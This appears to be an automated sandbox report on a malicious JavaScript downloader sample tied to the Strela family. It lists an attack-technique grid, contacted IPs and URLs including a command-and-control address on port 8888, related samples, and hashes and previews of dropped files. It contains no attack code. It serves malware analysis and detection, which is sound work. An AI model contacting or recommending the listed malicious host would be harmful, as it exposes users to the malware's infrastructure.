Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
741645402364914803.js	3%	ReversingLabs
741645402364914803.js	3%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/F	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/s9	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/0h8	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.36	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2745347215.0000018942411000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/F	net.exe, 00000007.00000003.1535510148.00000235AA38B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1536198822.00000235AA38B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1536198822.00000235AA38B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1535017460.00000235AA3AB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1536198822.00000235AA3AD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/0h8	net.exe, 00000007.00000002.1536073106.00000235AA358000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1535899153.0000018942600000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://193.143.1.205:8888/s9	net.exe, 00000007.00000002.1536073106.00000235AA358000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588075
Start date and time:	2025-01-10 20:58:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	741645402364914803.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 52.22.41.97, 3.219.243.226, 3.233.129.217, 52.6.155.20, 199.232.214.172, 2.16.168.107, 2.16.168.105, 88.221.110.91, 2.16.100.168, 4.175.87.197, 50.16.47.176, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:59:49	API Interceptor	31x Sleep call for process: powershell.exe modified
14:59:54	API Interceptor	1x Sleep call for process: net.exe modified
14:59:54	API Interceptor	2x Sleep call for process: svchost.exe modified
15:00:02	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	299273933818721331.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7281316381146719051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8692281511118412139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20512268371239412475.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	533625797193620143.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225008411339129134.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16112188701857928577.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	929826576149214658.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1926422634111517010.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	533625797193620143.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.21
	Bontrageroutdoors_Project_Update_202557516.pdf	Get hash	malicious	Unknown	Browse	217.20.57.42
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.19
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.20
	Message 2.eml	Get hash	malicious	Unknown	Browse	84.201.210.39
	naebalovo.dll.dll	Get hash	malicious	Unknown	Browse	217.20.57.36
	3090182781939528365.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.21
	WSJ25F.bat	Get hash	malicious	Unknown	Browse	84.201.210.39
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.41
bg.microsoft.map.fastly.net	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	invoice_AG60538.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	Message 2.eml	Get hash	malicious	Unknown	Browse	199.232.214.172
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	299273933818721331.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7281316381146719051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8692281511118412139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20512268371239412475.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	533625797193620143.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	225008411339129134.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16112188701857928577.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	929826576149214658.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1926422634111517010.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	143686862513618164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4932236496552801
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1Ztaa:cJhXC9lHmutpJyiRDeJ/aUKrDgnmw
MD5:	A199B173993A86E2E99632DA2FDFAD64
SHA1:	855C1E1377F2558BC38ABA7A9A90B3AF2B926B55
SHA-256:	F97D895FA94C23A4687A33369A890501F640540DDC385F316BDC25074DA8E323
SHA-512:	F3341A4ED66E85A24C47C1B55C927BD3884751D9738237D9F3C5B6E4726F7B918E776508F0592E45D4F8D53B184A71B0B89EB3A820194AAFDD4228712FC65D61
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xa33fdc01, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.72169429072163
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:zazaNvFv8V2UW/DLzN/w4wZi
MD5:	B73B1B9F2C91A73DA5C4A52E5CBE4C72
SHA1:	0F79B4E0BB1E4CD9D236510F4974792FB4D9C2B7
SHA-256:	D7F47705C70C57BDAC2069A96D649AFB5D67DA456952634D859FE1099FA37D6A
SHA-512:	49A1D797CE372113EA3A1783DF1E7627E983DFCF81057086A493AE176DF84176C82B79A4FA035F7A9BDDE9F127920A0A21F9967E76A487388237ABE9E98A7322
Malicious:	false
Preview:	.?..... ...............X\...;...{......................p.D..........{}.6;...}..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{..................................t..6;...}..................i(>26;...}...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08132342935531205
Encrypted:	false
SSDEEP:	3:5ltEYekp8HgCqT/fgsCrZClW/tSWmcltAll+SHY/Xl+/rQLve:76zmu8Lfgs3G0DcltAAS4M
MD5:	7DC848A04BF955EEC4A5C60BDDD2ABCE
SHA1:	7DF0E3EAFBA7A2B05FE46F4E7E75A985E1E5A293
SHA-256:	E63BF3AEF49C869C606553BC51DEEA94A2EE4EBC990B3D14EC6AE3457021B7BF
SHA-512:	AA3FE92D1C143C4ADEEEA1918F226B28BD92AA60EAC00E47E1C327D93B3773801DD6EDF82905B33B360D92F8BBC411C78EA489DC75A03AC25D31F56551A23315
Malicious:	false
Preview:	...x.....................................;...{..6;...}.......{}..............{}......{}.vv_Q.....{}.................i(>26;...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.275885887018531
Encrypted:	false
SSDEEP:	6:iO4hPW+q2PqLTwi2nKuAl9OmbnIFUtShPZ5ZmwshPZtVkwOqLTwi2nKuAl9Ombjd:7Gv8wZHAahFUtw/G5TwZHAaSJ
MD5:	B628DA27BBBA755F445D1851EAFC8D66
SHA1:	6C932FA860F2CA7AFED7177AD4EA4B5646691FDC
SHA-256:	FB8C9951D4C865A991EF4468F375C42E947F73A24B6C5F477E16743498EF81BE
SHA-512:	E088637A41FD5E2CC609071632A8F7887AF4297B685DDCB653BEABD69904245F88074D687FF1A0BB2E2B69D205BCEDAF54F91981BCE0965D728867C055CBEA1F
Malicious:	false
Preview:	2025/01/10-14:59:53.976 18d8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:59:53.979 18d8 Recovering log #3.2025/01/10-14:59:53.979 18d8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.275885887018531
Encrypted:	false
SSDEEP:	6:iO4hPW+q2PqLTwi2nKuAl9OmbnIFUtShPZ5ZmwshPZtVkwOqLTwi2nKuAl9Ombjd:7Gv8wZHAahFUtw/G5TwZHAaSJ
MD5:	B628DA27BBBA755F445D1851EAFC8D66
SHA1:	6C932FA860F2CA7AFED7177AD4EA4B5646691FDC
SHA-256:	FB8C9951D4C865A991EF4468F375C42E947F73A24B6C5F477E16743498EF81BE
SHA-512:	E088637A41FD5E2CC609071632A8F7887AF4297B685DDCB653BEABD69904245F88074D687FF1A0BB2E2B69D205BCEDAF54F91981BCE0965D728867C055CBEA1F
Malicious:	false
Preview:	2025/01/10-14:59:53.976 18d8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:59:53.979 18d8 Recovering log #3.2025/01/10-14:59:53.979 18d8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.1453135592127355
Encrypted:	false
SSDEEP:	6:iO45TSQ+q2PqLTwi2nKuAl9Ombzo2jMGIFUtS5w5gZmws5PQVkwOqLTwi2nKuAlx:7O3+v8wZHAa8uFUtPW/BV5TwZHAa8RJ
MD5:	FE84A365B01F16C77C024461849F892A
SHA1:	D141ED83A72895B48A56E81C30EFFB2307C06157
SHA-256:	F0D6AA47CE091208C5B0D8B1CBD695DCAF45F990AC10709D48625EBECF172E1E
SHA-512:	2974CA6C2DBACA052CD6F8F177423ECD6927A0B4C468CF6EF2F3467F391A9B5A8B24B699D8DCCC4F0D4A23ED0B59221694F32D47788CF6702919F2FC88DFDCBB
Malicious:	false
Preview:	2025/01/10-14:59:54.053 1c2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:59:54.055 1c2c Recovering log #3.2025/01/10-14:59:54.056 1c2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.1453135592127355
Encrypted:	false
SSDEEP:	6:iO45TSQ+q2PqLTwi2nKuAl9Ombzo2jMGIFUtS5w5gZmws5PQVkwOqLTwi2nKuAlx:7O3+v8wZHAa8uFUtPW/BV5TwZHAa8RJ
MD5:	FE84A365B01F16C77C024461849F892A
SHA1:	D141ED83A72895B48A56E81C30EFFB2307C06157
SHA-256:	F0D6AA47CE091208C5B0D8B1CBD695DCAF45F990AC10709D48625EBECF172E1E
SHA-512:	2974CA6C2DBACA052CD6F8F177423ECD6927A0B4C468CF6EF2F3467F391A9B5A8B24B699D8DCCC4F0D4A23ED0B59221694F32D47788CF6702919F2FC88DFDCBB
Malicious:	false
Preview:	2025/01/10-14:59:54.053 1c2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:59:54.055 1c2c Recovering log #3.2025/01/10-14:59:54.056 1c2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.970895562327589
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnksBdOg2Hgfcaq3QYiub5P7E4T3y:Y2sRds6JdMHgu3QYhbt7nby
MD5:	ED3C78105E890D29746291C6795EEC21
SHA1:	242142432B4E353E3888EB67BE8E75E3080F65FB
SHA-256:	1E28AFB699C3FFB4FD7F0557DF1CB267E60218D47728250614C77240A07A84F4
SHA-512:	E26A4232BEFB7A5BC48C8891FA5AC83795F3D915172EFA80E2ED1284CB4E0E3BD272B7B68FC40B0854AB44BC78E9AE45F8C2F85571847BFCFB2F692A43970F56
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381099205824821","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131076},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c7e94f81-5c54-4fc8-b90a-872b08ca649c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.970895562327589
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnksBdOg2Hgfcaq3QYiub5P7E4T3y:Y2sRds6JdMHgu3QYhbt7nby
MD5:	ED3C78105E890D29746291C6795EEC21
SHA1:	242142432B4E353E3888EB67BE8E75E3080F65FB
SHA-256:	1E28AFB699C3FFB4FD7F0557DF1CB267E60218D47728250614C77240A07A84F4
SHA-512:	E26A4232BEFB7A5BC48C8891FA5AC83795F3D915172EFA80E2ED1284CB4E0E3BD272B7B68FC40B0854AB44BC78E9AE45F8C2F85571847BFCFB2F692A43970F56
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381099205824821","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131076},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.22265003769616
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068OzlSNSeH:1CDLCmPj8j0/8qKgwPHYPx8xemT8OzlE
MD5:	1A709E8818AC39169137641698A8EF8E
SHA1:	B4D7FD6FC53CB1ADB4E1E2544C62ED03E0DC3B53
SHA-256:	2912A003D241DC8A8742A1A55A6F9C2E09E463819CBAB613863B3A5018688571
SHA-512:	AF69C3481A4CB4EBAA2EFE5A1218F0D79EB059D2F00DF115A6560B44AB5D9CC676F71ED7C3D3B4E175110784A4D9D8FFD7EC6B1DF649F02781270A26F67C8EDA
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.155275021439687
Encrypted:	false
SSDEEP:	6:iO4LBQ+q2PqLTwi2nKuAl9OmbzNMxIFUtSAgZmwsvbQVkwOqLTwi2nKuAl9OmbzE:7Aa+v8wZHAa8jFUtY/uUV5TwZHAa84J
MD5:	0863F96D91D08A51FCFA111E55EF753A
SHA1:	445963B12E68FC37A3111411455F753297E1CC21
SHA-256:	D5A058A8C0E38B48ED34646E2945B316B3C08C9005236BA387EBCA67BDF891BB
SHA-512:	4E8A36812B04D9BC9B7C024980B31A5170B80EEA3D6970210C46FE2AE841DFD29578577A402801CF1B0E70E1A0F9B7BB827754AFBD4BF1863C8B391493481139
Malicious:	false
Preview:	2025/01/10-14:59:54.148 1c2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:59:54.149 1c2c Recovering log #3.2025/01/10-14:59:54.151 1c2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.155275021439687
Encrypted:	false
SSDEEP:	6:iO4LBQ+q2PqLTwi2nKuAl9OmbzNMxIFUtSAgZmwsvbQVkwOqLTwi2nKuAl9OmbzE:7Aa+v8wZHAa8jFUtY/uUV5TwZHAa84J
MD5:	0863F96D91D08A51FCFA111E55EF753A
SHA1:	445963B12E68FC37A3111411455F753297E1CC21
SHA-256:	D5A058A8C0E38B48ED34646E2945B316B3C08C9005236BA387EBCA67BDF891BB
SHA-512:	4E8A36812B04D9BC9B7C024980B31A5170B80EEA3D6970210C46FE2AE841DFD29578577A402801CF1B0E70E1A0F9B7BB827754AFBD4BF1863C8B391493481139
Malicious:	false
Preview:	2025/01/10-14:59:54.148 1c2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:59:54.149 1c2c Recovering log #3.2025/01/10-14:59:54.151 1c2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438029936387946
Encrypted:	false
SSDEEP:	384:ye+ci5GMiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:pgurVgazUpUTTGt
MD5:	45F52546CF09AB06D5730DB652667376
SHA1:	176535DA2C088EB026DD54731576C6DE7C849B2D
SHA-256:	A7A302C34D89FC597E7DC2A24C5397E7AD8C5C0F1FBA5A2FA116E105CBC71F1A
SHA-512:	8AEE82B258287AC2FFAA495CEA6E286A4671A5382221308391E3A685FA9103B4FADFE5EA2850DE18826FA4559D67E005386ED58AFF75A590514D6A2DB466EE58
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7656716191875197
Encrypted:	false
SSDEEP:	48:7MgJioyV0ioyfoy1C7oy16oy1SKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1On:7rJu0JxXjBiZb9IVXEBodRBk2
MD5:	E95F24AC5DD048E9917F285EC7D0991D
SHA1:	197FFC33198C757715DAB6A7291DB6305CD57B77
SHA-256:	41142ABEB262EEBD4AA08C3585EEB871E2528ADFC1DBAD0F6FE5AEBBDF181338
SHA-512:	3FBAC568BFEC0B1AFA15F5640CEE1CFF6211F8D00F5FEB26E73F8D675D792B8234A837BE75BE6430B0D296ADDD1B215FD2A4C931E9E75929A54C67E0D508A5F0
Malicious:	false
Preview:	.... .c.....`._................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
